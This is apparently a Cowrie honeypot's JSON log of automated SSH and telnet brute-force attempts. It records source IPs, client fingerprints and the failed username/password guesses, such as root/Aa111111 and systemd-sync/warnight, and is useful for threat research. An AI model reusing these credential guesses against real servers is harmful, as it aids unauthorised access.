{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":40066,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1ac0a366fa4","protocol":"ssh","message":"New connection: 43.156.212.86:40066 (10.17.0.5:22) [session: c1ac0a366fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:10.633770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:10.638427Z","src_ip":"43.156.212.86","session":"c1ac0a366fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:10.875900Z","src_ip":"43.156.212.86","session":"c1ac0a366fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:11.855760Z","src_ip":"43.156.212.86","session":"c1ac0a366fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:13.096948Z","src_ip":"43.156.212.86","session":"c1ac0a366fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":39562,"dst_ip":"10.17.0.5","dst_port":22,"session":"f663bc9717a5","protocol":"ssh","message":"New connection: 152.32.172.177:39562 (10.17.0.5:22) [session: f663bc9717a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:15.483440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:15.488774Z","src_ip":"152.32.172.177","session":"f663bc9717a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:15.706206Z","src_ip":"152.32.172.177","session":"f663bc9717a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"margo","message":"login attempt [root/margo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:16.609498Z","src_ip":"152.32.172.177","session":"f663bc9717a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:17.834214Z","src_ip":"152.32.172.177","session":"f663bc9717a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.192716121673584,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:29.017504Z","src_ip":"167.71.238.254","session":"db292a025e7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":35120,"dst_ip":"10.17.0.5","dst_port":22,"session":"46ac19353df4","protocol":"ssh","message":"New connection: 40.78.155.180:35120 (10.17.0.5:22) [session: 46ac19353df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:37.633338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:37.638138Z","src_ip":"40.78.155.180","session":"46ac19353df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:37.674121Z","src_ip":"40.78.155.180","session":"46ac19353df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2048","message":"login attempt [root/2048] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:37.850883Z","src_ip":"40.78.155.180","session":"46ac19353df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.93290996551514,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:38.688652Z","src_ip":"167.71.238.254","session":"2005d99d3235","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:38.890035Z","src_ip":"40.78.155.180","session":"46ac19353df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162506103516,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:46.028839Z","src_ip":"89.243.29.180","session":"168968746c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00438022613525,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:50.524863Z","src_ip":"89.243.29.180","session":"931e4a6e9397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":47024,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f98f1f74ef","protocol":"telnet","message":"New connection: 89.243.29.180:47024 (10.17.0.5:23) [session: 46f98f1f74ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:52.294560Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":49008,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5870cc27100","protocol":"ssh","message":"New connection: 177.234.174.18:49008 (10.17.0.5:22) [session: d5870cc27100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:54.446662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:54.451613Z","src_ip":"177.234.174.18","session":"d5870cc27100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:54.585717Z","src_ip":"177.234.174.18","session":"d5870cc27100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:55.152022Z","src_ip":"177.234.174.18","session":"d5870cc27100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":33652,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca9ccf3a914","protocol":"ssh","message":"New connection: 160.22.18.220:33652 (159.203.135.109:22) [session: 5ca9ccf3a914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:55.648910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:55.653718Z","src_ip":"160.22.18.220","session":"5ca9ccf3a914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:55.891782Z","src_ip":"160.22.18.220","session":"5ca9ccf3a914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:56.288294Z","src_ip":"177.234.174.18","session":"d5870cc27100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:56.893090Z","src_ip":"160.22.18.220","session":"5ca9ccf3a914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:11:58.133359Z","src_ip":"160.22.18.220","session":"5ca9ccf3a914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":60510,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef35bbb5d6c8","protocol":"telnet","message":"New connection: 167.71.238.254:60510 (10.17.0.5:23) [session: ef35bbb5d6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:07.123945Z"}
{"eventid":"cowrie.session.closed","duration":17.78308606147766,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:24.906911Z","src_ip":"167.71.238.254","session":"ef35bbb5d6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":58066,"dst_ip":"159.203.135.109","dst_port":22,"session":"647169914afa","protocol":"ssh","message":"New connection: 135.235.138.43:58066 (159.203.135.109:22) [session: 647169914afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:27.340086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:27.346232Z","src_ip":"135.235.138.43","session":"647169914afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:27.529226Z","src_ip":"135.235.138.43","session":"647169914afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:28.301777Z","src_ip":"135.235.138.43","session":"647169914afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:29.487511Z","src_ip":"135.235.138.43","session":"647169914afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":36734,"dst_ip":"10.17.0.5","dst_port":22,"session":"35efa31a46b7","protocol":"ssh","message":"New connection: 43.156.212.86:36734 (10.17.0.5:22) [session: 35efa31a46b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:31.562094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:31.567463Z","src_ip":"43.156.212.86","session":"35efa31a46b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:31.801805Z","src_ip":"43.156.212.86","session":"35efa31a46b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nick","message":"login attempt [root/nick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:32.753203Z","src_ip":"43.156.212.86","session":"35efa31a46b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:33.986763Z","src_ip":"43.156.212.86","session":"35efa31a46b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":43472,"dst_ip":"159.203.135.109","dst_port":22,"session":"798cf487761a","protocol":"ssh","message":"New connection: 80.94.92.171:43472 (159.203.135.109:22) [session: 798cf487761a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:41.978735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:43.064016Z","src_ip":"80.94.92.171","session":"798cf487761a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:43.068071Z","src_ip":"80.94.92.171","session":"798cf487761a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":53432,"dst_ip":"10.17.0.5","dst_port":22,"session":"77eb6ff0d9e7","protocol":"ssh","message":"New connection: 152.32.172.177:53432 (10.17.0.5:22) [session: 77eb6ff0d9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:43.553039Z"}
